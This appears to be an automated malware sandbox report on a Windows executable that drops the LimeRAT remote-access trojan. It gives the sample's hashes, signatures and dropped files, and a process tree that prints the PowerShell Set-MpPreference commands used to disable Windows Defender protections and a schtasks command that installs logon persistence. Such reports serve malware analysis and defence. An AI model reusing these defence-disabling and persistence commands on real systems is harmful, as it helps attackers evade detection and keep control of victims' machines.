Analysis
-
max time kernel
0s -
max time network
135s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
-
submitted
26-12-2023 22:44
General
-
Target
93a51bb3d03a1cebf76e63d8bdb3af04.exe
-
Size
684KB
-
MD5
93a51bb3d03a1cebf76e63d8bdb3af04
-
SHA1
0868306dcb3a1f21fdda94e7125ad3aa2ad2dfa9
-
SHA256
729782176df07dcab88ca6d476c8b78b6b78a104d5df713a526cbf8baad1ddb5
-
SHA512
17c69bdbfbe71e80dbca83b967b6d9d77a4f63e0ea46b4c418ed7b3f318cda4603c8245b06a4d67a897baf8d8c2899bfb5da2932b0aea52d8c217752eeccc830
-
SSDEEP
12288:0JOpPEhZTl8pBRxhHLMmyLgIO3GsaMJcR/Vn+R9KVYszf:0JyPEhZB8pBlHomy0IO3GsId+R9KV1f
Malware Config
Signatures
-
Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
-
Loads dropped DLL 1 IoCs
-
Obfuscated with Agile.Net obfuscator 1 IoCs
Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes
-
C:\Users\Admin\AppData\Local\Temp\93a51bb3d03a1cebf76e63d8bdb3af04.exe"C:\Users\Admin\AppData\Local\Temp\93a51bb3d03a1cebf76e63d8bdb3af04.exe"1⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\ProgramData\script.vbs"2⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\SysWOW64\WScript.exe" "C:\ProgramData\script.vbs" /elevate3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 24⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 64⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 64⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 64⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 04⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBehaviorMonitoring $true4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true4⤵
-
-
-
-
C:\ProgramData\temp.exe"C:\ProgramData\temp.exe"2⤵
-
-
C:\ProgramData\.exe"C:\ProgramData\.exe"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr "'C:\Users\Admin\System32\Window Security Notification.exe'"3⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\System32\Window Security Notification.exe"C:\Users\Admin\System32\Window Security Notification.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
313KB
MD5bfe968b719b9567e0914105d2f5f80a4
SHA1de78dee76dec96235312fa82ebebc51f114483c9
SHA256a96147860e86e8f6a898e7bf77c05596790595c10a63271a2dce89d56fc49dac
SHA51287040e0beacfdbce3a401e09bb912e67544f7f0cd8de6bacbf710fddd6ac5e143dca08049de006d844b8b50131de98f56faf953328f40aaedfa2675186d5d5d4
-
Filesize
1KB
MD5dd82baf02caac1567f2277edca89a912
SHA136f5d8c2a67f31768b1116bb87f77b049ffd3f63
SHA256038802b33f5e7179ad59105099681003c68fdb9b3c757540e737564c1b460533
SHA5126825e10fbb3fec3619cd0b2d36f6490f28301fd723fa9b2b52403aa3d8c2e39b7bb04eedc937c5fdf76f511e9e75e533ef6cfce07d398fe13b52896c3e343554
-
Filesize
10KB
MD5c26e4cd9bc956f25ec249bcb75900ab2
SHA1f2a80a50639ec0c5a438c867b37ca03df286017c
SHA25680b261cf3b2206cd8786afd2b401b83dab0b97bf13d128d846910b61fde01876
SHA51271b9efcab7aae3da89e0694f29879ac786c465a9510d8b43f0ce5f629fdda3ab6be899992b7d6e94ad6ba7558cb8b4e6f29f572b188534f68e33a792e5308387
-
Filesize
2KB
MD53d086a433708053f9bf9523e1d87a4e8
SHA1b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28
SHA2566f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69
SHA512931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd
-
Filesize
18KB
MD505467f8f329ed9735c877bbd80cefaa3
SHA13904bd2aa40457c990a05424c0ef864e3c5e598c
SHA25601ee55acc4a346ef75df54f17fd2d02df36a4941deaec5cd376027519e79b83e
SHA51205f956f588677969f02f0cee89293848994a808e4dc5a050e8897af4f95a239b7df2b44b3b0a627184a052eb6baaf3ad45dff5a8097a948a14fd1fae618c471b
-
Filesize
18KB
MD5346621718fd27b71b40e2727147bfa54
SHA119b97ca928f5d54d4cb714b080501c4612b8037e
SHA256c813e2b4e81a22989ef1ac5fbf516b33ccad3bffea810daff1f1a7016d793ee1
SHA5122eb4af92fa21aa2fd2beb8b7df7629d69b687edb34a2316975478eaaf88fa01c633319e9207f6975be3c30711fcce87eef0475e8bb4fe7edaeea16654d7f26a3
-
Filesize
18KB
MD51d14cee149a78d89645f9e66a63a8164
SHA17e6e73ae41cb3a58e5bf2d1db358ddf64e589c3f
SHA256bd01ad39e3607d401f40416061b728976b947d37ec844ef801478a27e995882f
SHA51249bc0b32e5d4f31cabd535effd86784d6744f8b44457fb936557694b82b1c94a23c278069090617601f1491f62eaa9b47931e3216eef7f4029aacb2e3dec6ec5
-
Filesize
18KB
MD5afaee604776a31fd1c7d18ce1720a494
SHA174056a89db047dd3dd5f7adf522e29488bb5dc27
SHA256eaf2b7027048ec15b0ede9019ca49350f72ef33c09df1518b8e2bf5247d9df3a
SHA5127748e425d9a03311591150e21b8f69069272c69c1703f75797b90bbdaf182c9f45d44b137ddfcf3238dc6729269001094e1a5918d5f65374b048c24397ef46f1
-
Filesize
18KB
MD594363fcd38b1f787b77aa323c47c7522
SHA1e6425466449e3cb50d40fb3f1d3b77c3b0e6f5ca
SHA2569b4b52bdfaec59df059d316f1b88c9783760b129d4128ccee54daa9c8b6f3f6b
SHA5122ce131cd5760056b3ddd9dde6f5c4201445310bcab5198a0928380ac444154b7e40d7a85a2bac827f3c1e15d3e6dff95cbeada921ee38e6324fcab2c2b845cae
-
Filesize
18KB
MD51094047e14f5738a379d5c80f0452496
SHA1ac2b1a3f2a0b05de97f20ab2645a1b1416bcb62f
SHA256cc017aaa7136c8a75cfab753677cfee24b1b157f17b4de85c2d80c85ea5dc61a
SHA51271e0d46f91adf5a26cbda6e450858af865b9df49ef4d445a69c9e514b822d72d8ee0dea6669c5ab90a123557b3c2f5477a0a3a7554919ff7db47305d24dc992e
-
Filesize
92KB
MD5110a94e7eee4fa670f9086a731b0b7fa
SHA17a75e4b08c22dc1eead093b882bc3c3f86a1e50e
SHA256dcac5868c1cb3eaabdeb267e4553ac71e936147b30bb964f16f34d5f8e924718
SHA512d9d1161eb599c76e992cb46410eb2292a6db4a3ad4a449c76947924b2066b2b0a9fd1809330f34a86fdf8ee20e89e32ab3d8486121171490376bba2a49ef980e
-
Filesize
140KB
MD5edd74be9723cdc6a5692954f0e51c9f3
SHA1e9fb66ceee1ba4ce7e5b8271b3e1ed7cb9acf686
SHA25655ff1e0a4e5866d565ceeb9baafac73fdcb4464160fc6c78104d935009935cd7
SHA51280abecdd07f364283f216d8f4d90a4da3efd4561900631fce05c2916afeb1b5bbce23ae92d57430b7b2b06c172b2ad701b2ab75b6dfd2a861abcf7edc38462f3
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
364KB
-
Filesize
5.7MB
-
Filesize
160KB
-
Filesize
5.7MB
-
Filesize
5.7MB
-
Filesize
64KB
-
Filesize
160KB
-
Filesize
64KB
-
Filesize
304KB
-
Filesize
64KB
-
Filesize
7.7MB
-
Filesize
64KB
-
Filesize
160KB
-
Filesize
5.7MB
-
Filesize
364KB
-
Filesize
5.7MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
7.7MB
-
Filesize
304KB
-
Filesize
7.7MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
304KB
-
Filesize
200KB
-
Filesize
304KB
-
Filesize
64KB
-
Filesize
652KB
-
Filesize
120KB
-
Filesize
216KB
-
Filesize
304KB
-
Filesize
7.7MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
7.7MB
-
Filesize
32KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
7.7MB
-
Filesize
304KB
-
Filesize
408KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
408KB
-
Filesize
136KB
-
Filesize
6.2MB
-
Filesize
7.7MB
-
Filesize
304KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
7.7MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
3.3MB
-
Filesize
64KB
-
Filesize
7.7MB
-
Filesize
64KB
-
Filesize
120KB
-
Filesize
64KB
-
Filesize
304KB
-
Filesize
64KB
-
Filesize
7.7MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
7.7MB
-
Filesize
364KB